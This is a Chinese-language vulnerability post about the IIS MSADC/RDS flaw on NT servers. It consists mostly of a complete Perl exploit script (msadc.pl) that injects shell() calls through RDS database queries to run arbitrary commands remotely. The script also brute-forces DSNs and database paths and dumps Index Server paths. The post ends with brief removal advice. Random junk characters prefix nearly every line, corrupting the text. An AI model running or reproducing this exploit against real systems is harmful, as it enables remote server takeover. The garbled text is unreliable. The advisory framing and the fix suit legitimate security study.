IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|&RU/ a &*+'>UEe5 涉及程序：
`DV.+>O-1 Microsoft NT server
q@[Qj Gj@ Y;?{| 描述：
_lamn }(x0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/Mvf8v !\7!3$w'8, 详细：
eEuvl`& 如果你没有时间读详细内容的话，就删除:
<StN%2WQ1 c:\Program Files\Common Files\System\Msadc\msadcs.dll
.&DhN#EN0 有关的安全问题就没有了。
+j< p
\Kn> ,6-:VIHQ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Wk)OkIFR 7 @D@ucL 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
#"@|f 关于利用ODBC远程漏洞的描述，请参看:
*MKO
I' OCNQvF~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G"h'_7 o,_? ^'@ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
<
jJ http://www.microsoft.com/security/bulletins/MS99-025faq.asp
OX\A|$GS hDF@'G8F 这里不再论述。
MF5 [lK9e wB.&}p9p 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
%J+ E/ be.*#[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P)P*Xq r#: 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
<g$~1fa
!2ZF(@C / |olA9mp|] #将下面这段保存为txt文件，然后: "perl -x 文件名"
nAv#?1cjz aDU<wxnSvO #!perl
| ?,A]|j #
,J+}rPe"sf # MSADC/RDS 'usage' (aka exploit) script
'uBu6G #
4y|BOVl # by rain.forest.puppy
'Gj3:-xqL #
9Z4nA c # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
RoPRQCE # beta test and find errors!
3}}38A|4 ~E17L]ete use Socket; use Getopt::Std;
6 (]Dh;gC getopts("e:vd:h:XR", \%args);
_852H$H\ KVc lhT<F print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]'&LGA` '=b/6@& if (!defined $args{h} && !defined $args{R}) {
0Tx6zO print qq~
qLD
?juas Usage: msadc.pl -h <host> { -d <delay> -X -v }
Q'=x|K#xj -h <host> = host you want to scan (ip or domain)
*\
R ]NV -d <seconds> = delay between calls, default 1 second
r>>%2Z-P -X = dump Index Server path table, if available
H?yK~bGQ -v = verbose
"\w 7q -e = external dictionary file for step 5
g6j?,c|y 9jM}~ XvV Or a -R will resume a command session
H\ F :95 >*35C`^ ~; exit;}
(A9Fhun 0X6YdW _2X $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
J')o|5S1N if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
~vm%6CABM if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Z^3rLCa if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Fs9!S a7v $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?9
<:QE;I> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f6hnTbJ +$ 'Zf0 U if (!defined $args{R}){ $ret = &has_msadc;
)_HA>o_?C: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&. " iFe lXW%FH6c+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
u^^[Q2LDU} . "cmd /c ";
6' k<+IR $in=<STDIN>; chomp $in;
b RFLcM $command="cmd /c " . $in ;
y%"{I7!A XP!S$Q]D if (defined $args{R}) {&load; exit;}
;`0%t$@- C0T;![/4 A print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(KjoSN(
K &try_btcustmr;
igCZ|Ru\ 9+Np4i@ print "\nStep 2: Trying to make our own DSN...";
Cio
1E-4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
R@1 xt@? -*1d! print "\nStep 3: Trying known DSNs...";
f,U.7E
&known_dsn;
;17E(tl _>&X\`D print "\nStep 4: Trying known .mdbs...";
P) Jgs &known_mdb;
` Fa~ X _q\S g if (defined $args{e}){
ha]VWt%} print "\nStep 5: Trying dictionary of DSN names...";
f\|w ' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n@<YI |3( '
N#| print "Sorry Charley...maybe next time?\n";
1+_`^|eK exit;
)1?y 8_B 3Z>Ux3[ ##############################################################################
r 8`ffH | mZxfI sub sendraw { # ripped and modded from whisker
0"jY.*_EW sleep($delay); # it's a DoS on the server! At least on mine...
W=~~5jFX my ($pstr)=@_;
;AG8C#_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.]8ZwAs=& die("Socket problems\n");
l{* @v=b( if(connect(S,pack "SnA4x8",2,80,$target)){
3#LlDC_WC select(S); $|=1;
%z=le7 print $pstr; my @in=<S>;
E>6MeO select(STDOUT); close(S);
zVViLUwG return @in;
KjD/o?JUr } else { die("Can't connect...\n"); }}
"Wct({n *3+4[WT0]a ##############################################################################
ROH|PKb7 =Qy<GeY sub make_header { # make the HTTP request
IPS4C[v my $msadc=<<EOT
"{A(x
}'Y4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^um<bWNc User-Agent: ACTIVEDATA
T^zXt? Host: $ip
S,88*F(<^q Content-Length: $clen
tH!]Z4} u Connection: Keep-Alive
R)c?`:iUB A#e%^{q$ ADCClientVersion:01.06
Yj&F;_~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)v'WWwXY> l0|5t)jF- --!ADM!ROX!YOUR!WORLD!
LP. ]9 ut Content-Type: application/x-varg
Ki;*u_ 4{ Content-Length: $reqlen
g_;\iqxL "B M#4 EOT
)* u8/U ; $msadc=~s/\n/\r\n/g;
`}p0VmD{NE return $msadc;}
7y.kQI?3 iDpSj!x/_ ##############################################################################
mVj9 , q0 ./\@Km? sub make_req { # make the RDS request
xVw9 v6@`h my ($switch, $p1, $p2)=@_;
2R[:]-b my $req=""; my $t1, $t2, $query, $dsn;
aS>u,=C K%t*8
4j if ($switch==1){ # this is the btcustmr.mdb query
&sl0W-;0 $query="Select * from Customers where City=" . make_shell();
w2?3wrP3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>R'F, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
?e%ZOI lt/1f{v[: elsif ($switch==2){ # this is general make table query
1y :-N6 $query="create table AZZ (B int, C varchar(10))";
W8G,=d}6 $dsn="$p1";}
V.U|
#n 5 ncaT?~u j elsif ($switch==3){ # this is general exploit table query
{B~QQMEow $query="select * from AZZ where C=" . make_shell();
9=s<Ld $dsn="$p1";}
u2tf F lqy Qf$t elsif ($switch==4){ # attempt to hork file info from index server
y#`tgJ: $query="select path from scope()";
q v-8)MSr $dsn="Provider=MSIDXS;";}
T; 4NRC P?%s
#I: elsif ($switch==5){ # bad query
+5)nk} $query="select";
xw.A #Zb\_ $dsn="$p1";}
|NlO7aQ>2H ~?l |
[ $t1= make_unicode($query);
~$ c\JKH- $t2= make_unicode($dsn);
\UA[ $req = "\x02\x00\x03\x00";
(|2t#'m $req.= "\x08\x00" . pack ("S1", length($t1));
C2!|OQ9A2 $req.= "\x00\x00" . $t1 ;
t^&Cx h $req.= "\x08\x00" . pack ("S1", length($t2));
[:dY0r + $req.= "\x00\x00" . $t2 ;
pd?M f=># $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
G0Iw-vf return $req;}
ldf\;Qk [DuttFX^x ##############################################################################
:'Vf
g[Uq BT !^~S%w sub make_shell { # this makes the shell() statement
EAUEQk?9 return "'|shell(\"$command\")|'";}
YqscZ(L:y `Gs9Xmc| ##############################################################################
?4Y GT )+#` CIv sub make_unicode { # quick little function to convert to unicode
H8=N@l my ($in)=@_; my $out;
juJkl SD for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{FI&^39
F$ return $out;}
,CJ WO bn3 "69s) ~ ##############################################################################
a
.#)G[* 9+|$$) sub rdo_success { # checks for RDO return success (this is kludge)
Q3'llOx my (@in) = @_; my $base=content_start(@in);
}PlRx6r@ if($in[$base]=~/multipart\/mixed/){
jRa43ck return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~g91Pr return 0;}
#<fRE"v:Q /PV k{3 ##############################################################################
i$Ul(? cZ,b?I"Q% sub make_dsn { # this makes a DSN for us
N%@Qf~ my @drives=("c","d","e","f");
-OV&Md:~ print "\nMaking DSN: ";
g b1V ~ foreach $drive (@drives) {
L;z?a Z7n print "$drive: ";
xo^b&ktQd my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+|3@=.V "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}dX*[I . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
j^* dmX $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
<sbu;dQ` return 0 if $2 eq "404"; # not found/doesn't exist
)$2QZ
qX if($2 eq "200") {
h4gXvPS&r foreach $line (@results) {
hPkp;a # return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
r `=I } return 0;}
'@v\{ l S O/c}vnBB ##############################################################################
E: 68?IJ @mCEHI{P sub verify_exists {
C[cbbp my ($page)=@_;
.^` {1% my @results=sendraw("GET $page HTTP/1.0\n\n");
yX>K/68 return $results[0];}
u,ho7ht3( WCZjXDiwJ ##############################################################################
:U|1 xgB R Nk\.}m sub try_btcustmr {
k t#fM d$ my @drives=("c","d","e","f");
u[;\y |75 my @dirs=("winnt","winnt35","winnt351","win","windows");
Q-okt RK (XTG8W sN foreach $dir (@dirs) {
k=$TGq QY? print "$dir -> "; # fun status so you can see progress
; nfdGB foreach $drive (@drives) {
FjHv print "$drive: "; # ditto
P8:dU(nlW $reqlen=length( make_req(1,$drive,$dir) ) - 28;
| l^uEtG $reqlenlen=length( "$reqlen" );
b#%hY{$j $clen= 206 + $reqlenlen + $reqlen;
8Al{+gx@? v4TQX<0s my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-m zIT4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
?FZ HrA else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
l 'rja.\ P= BZ+6DS ##############################################################################
EU 6 o Q KA Ji sub odbc_error {
2QcO R4_V my (@in)=@_; my $base;
&J]K3w1p my $base = content_start(@in);
bSlF=jT[S if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y-b%T|p9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L<cx:Vz $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WDYeOtc $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
! I:% 0D return $in[$base+4].$in[$base+5].$in[$base+6];}
df +l%9@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
)r?}P1J7 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M]
%?>G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
_yx>TE2e O `kl\K*R7 ##############################################################################
3*XNV }"H,h)T sub verbose {
R%WCH?B<} my ($in)=@_;
yxQ1`'[CR return if !$verbose;
hh%-(HaLX3 print STDOUT "\n$in\n";}
&m7]v,& a5^] 20Fa ##############################################################################
8 FK/~,I < NY^M! sub save {
H2 {+) my ($p1, $p2, $p3, $p4)=@_;
u~:y\/Y6 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
ys^oG$lq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Lg+Ac5 y}` close OUT;}
+) om^e@. H|<[YYk ##############################################################################
-7[@R;FS 7F7 {)L sub load {
J4C.+![!Ah my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-);Wfs open(IN,"<rds.save") || die("Couldn't open rds.save\n");
\:'/'^=#| @p=<IN>; close(IN);
{z5--T ogJ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
r +i($ jMs $target= inet_aton($ip) || die("inet_aton problems");
B]wk+8SMY. print "Resuming to $ip ...";
H2\;%K 2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
.VJMz4$]O if($p[1]==1) {
CsR$c,8X. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1=c\Rr9] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&{hL&BLr my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
,-c6dS if (rdo_success(@results)){print "Success!\n";}
OZF
rtc+ else { print "failed\n"; verbose(odbc_error(@results));}}
M)+H{5bt elsif ($p[1]==3){
/Iy]DU8 if(run_query("$p[3]")){
%(#y 5yJ ] print "Success!\n";} else { print "failed\n"; }}
[!uG1 GJ> elsif ($p[1]==4){
U$.@]F4& if(run_query($drvst . "$p[3]")){
ou lVg]; print "Success!\n"; } else { print "failed\n"; }}
%XDc,AR[ exit;}
HZB>{O xrz,\eTb ##############################################################################
aiUY>M#| TER =*"! sub create_table {
(t
K||*u my ($in)=@_;
3S@7]Pg $reqlen=length( make_req(2,$in,"") ) - 28;
(N6 i4
g6 $reqlenlen=length( "$reqlen" );
k Z
.gO $clen= 206 + $reqlenlen + $reqlen;
}'V5/>m[ my @results=sendraw(make_header() . make_req(2,$in,""));
\ a<h/ 4#| return 1 if rdo_success(@results);
k,6f
&#x my $temp= odbc_error(@results); verbose($temp);
/4V#C- return 1 if $temp=~/Table 'AZZ' already exists/;
t#})Awy^R return 0;}
.V/Rfq ::l K L ##############################################################################
=[{i{x|Qz 33x {CY15 sub known_dsn {
bHYy }weZ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
X/!o\yyT my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
nwe* BVp "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
85$m[+md "banner", "banners", "ads", "ADCDemo", "ADCTest");
dr}`H,X"3 x,+{9 foreach $dSn (@dsns) {
S~bOUdV
Z print ".";
.t-4o<7 3 next if (!is_access("DSN=$dSn"));
VBGuC c/ if(create_table("DSN=$dSn")){
9 '; JXf$ print "$dSn successful\n";
G@\1E+Ip if(run_query("DSN=$dSn")){
&j`} vg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
".V$~n( print "Something's borked. Use verbose next time\n";}}} print "\n";}
'~<m~UXvD# K`WywH3- ##############################################################################
81F/G5 ;(/ZO%h sub is_access {
LVfF[ my ($in)=@_;
DB|Y $reqlen=length( make_req(5,$in,"") ) - 28;
&K.d '$q $reqlenlen=length( "$reqlen" );
]L $\
# $clen= 206 + $reqlenlen + $reqlen;
B $ PP&/ my @results=sendraw(make_header() . make_req(5,$in,""));
J. b9F:&} my $temp= odbc_error(@results);
t;Sb/ 3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
NjScc%@y return 0;}
e7Z32P0ls Q7\ w+ANf0 ##############################################################################
wLH>:yKUU ~O0 $Suv sub run_query {
y/{fX(aV my ($in)=@_;
)3}9K
^jS $reqlen=length( make_req(3,$in,"") ) - 28;
ZR B)uA)5= $reqlenlen=length( "$reqlen" );
Q5`*3 h6p= $clen= 206 + $reqlenlen + $reqlen;
kQSy+q my @results=sendraw(make_header() . make_req(3,$in,""));
/QWvW=F2< return 1 if rdo_success(@results);
C*_C;6.~Y my $temp= odbc_error(@results); verbose($temp);
w^|*m/h|@u return 0;}
VcO0sa f` 61>.vT8P ##############################################################################
) e+>w=t g`' !HGY sub known_mdb {
oXh#a8 my @drives=("c","d","e","f","g");
C. yQ=\U2 my @dirs=("winnt","winnt35","winnt351","win","windows");
HGs $* my $dir, $drive, $mdb;
b\kdKVh& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
D 6Ui! f!uw zHA`? # this is sparse, because I don't know of many
@[<><uTH my @sysmdbs=( "\\catroot\\icatalog.mdb",
s}9 S8@# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
b9J_1Gl] "\\system32\\certmdb.mdb",
R6K m\N "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
OJuG~euy KNvZm;Q6 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
gnOt+W8 "\\cfusion\\cfapps\\forums\\forums_.mdb",
y<|7z9 9L "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
O7m(o:t x3 "\\cfusion\\cfapps\\security\\realm_.mdb",
mb TEp* H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
i {NzV "\\cfusion\\database\\cfexamples.mdb",
}<v@0 1 "\\cfusion\\database\\cfsnippets.mdb",
-` kW&I0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
i Dp)FQ$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
D9=KXo^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
eK?MKe "\\cfusion\\database\\smpolicy.mdb",
t7Iv?5]N "\\cfusion\\database\cypress.mdb",
HZC"nb}r4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
v6bGjVK[ "\\website\\cgi-win\\dbsample.mdb",
uK"=i8rs4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
!Vn\u "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
ghG**3xr ); #these are just
{j?FNO Jn foreach $drive (@drives) {
P|tO<t6/9* foreach $dir (@dirs){
*xxx:*6rk; foreach $mdb (@sysmdbs) {
KE5kOU; print ".";
1 ~Y< //5E if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
qpP=K $ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ooj,/IEQ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
3tIVXtUCUk print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
i( %W_d ! } else { print "Something's borked. Use verbose next time\n"; }}}}}
2^[ `e g TOB-a AO foreach $drive (@drives) {
}%ojw | foreach $mdb (@mdbs) {
nLZTK&7} print ".";
pk$l+sNZ= if(create_table($drv . $drive . $dir . $mdb)){
r xvx print "\n" . $drive . $dir . $mdb . " successful\n";
MDZ640-Y if(run_query($drv . $drive . $dir . $mdb)){
KK/tu+" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2> x F){` } else { print "Something's borked. Use verbose next time\n"; }}}}
kzQ+j8.,U }
X;
\+<LE &ZlVWK~v ##############################################################################
=vCY?I$P 45@ I *` sub hork_idx {
SuJ aL-; print "\nAttempting to dump Index Server tables...\n";
&WuN&As!Z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
C\Wmq
[ $reqlen=length( make_req(4,"","") ) - 28;
}_M~2L?i $reqlenlen=length( "$reqlen" );
~ ?Qe? hB $clen= 206 + $reqlenlen + $reqlen;
S}m)OmrmA my @results=sendraw2(make_header() . make_req(4,"",""));
YW,tCtI0_ if (rdo_success(@results)){
Cx@);4arj my $max=@results; my $c; my %d;
UJAv`yjG for($c=19; $c<$max; $c++){
1y@i}<9F $results[$c]=~s/\x00//g;
]b:Lo $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
abmYA# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
17%,7P9pg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
<s31W3< v $d{"$1$2"}="";}
0y 'H~( foreach $c (keys %d){ print "$c\n"; }
GbY7_N
} else {print "Index server doesn't seem to be installed.\n"; }}
lHY+}v0 `_Zg3_K.dS ##############################################################################
.nf#c.DI wY{-BuX v sub dsn_dict {
;s = l52 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
L2[($ l while(<IN>){
W fN2bsx> $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V5 nwu# next if (!is_access("DSN=$dSn"));
ky,(xT4 if(create_table("DSN=$dSn")){
<SA zxo:I print "$dSn successful\n";
*MFIV02[N if(run_query("DSN=$dSn")){
7?!d^$B print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
?DS@e@lx print "Something's borked. Use verbose next time\n";}}}
c ( f print "\n"; close(IN);}
T?CdZc. %ufN8w!p ##############################################################################
Af~$TyX t: x \kp sub sendraw2 { # ripped and modded from whisker
6xx<Y2@ sleep($delay); # it's a DoS on the server! At least on mine...
~~/|dh5 my ($pstr)=@_;
9IdA%RM~mH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\$~|ZwV{ die("Socket problems\n");
\g&,@'uh if(connect(S,pack "SnA4x8",2,80,$target)){
!7O+og L print "Connected. Getting data";
T@H ^BGs open(OUT,">raw.out"); my @in;
vFzRg5lH select(S); $|=1; print $pstr;
^qvZXb while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7dTkp!'X- close(OUT); select(STDOUT); close(S); return @in;
b4%??"&<Y } else { die("Can't connect...\n"); }}
!3c\NbU V# }!-Xj ##############################################################################
}1L4 "}L. [ :
n'k sub content_start { # this will take in the server headers
MIeU,KT#U my (@in)=@_; my $c;
a_^\=&?' for ($c=1;$c<500;$c++) {
xC?6v ' if($in[$c] =~/^\x0d\x0a/){
]Grek< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
:".ARCg else { return $c+1; }}}
Gt8M&S-; return -1;} # it should never get here actually
,a{P4Bq o=:9y-nH ##############################################################################
u"r`3P` D# 9m\o_ sub funky {
?um;s-x) my (@in)=@_; my $error=odbc_error(@in);
]!W=^! if($error=~/ADO could not find the specified provider/){
ihhDO mUto print "\nServer returned an ADO miscofiguration message\nAborting.\n";
&)#
ihK_ exit;}
b"<liGh"n- if($error=~/A Handler is required/){
/ e5O"@ print "\nServer has custom handler filters (they most likely are patched)\n";
:[.vM exit;}
IEL%!RFG if($error=~/specified Handler has denied Access/){
6fE7W>la print "\nServer has custom handler filters (they most likely are patched)\n";
[t m_Mg exit;}}
b i',j0B :;%2BSgFU ##############################################################################
K C*e/J y ;m | sub has_msadc {
i<C*j4qQ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
n K1Slg#U my $base=content_start(@results);
>mbHy<< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
9d0@wq. return 0;}
=g7x'
kN ;Zcswt8]u ########################
ih-#5M@ gMi0FO ' ]\-A;}\e 解决方案：
kYE9M8s; 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
>4x( e\B 2、移除web 目录: /msadc
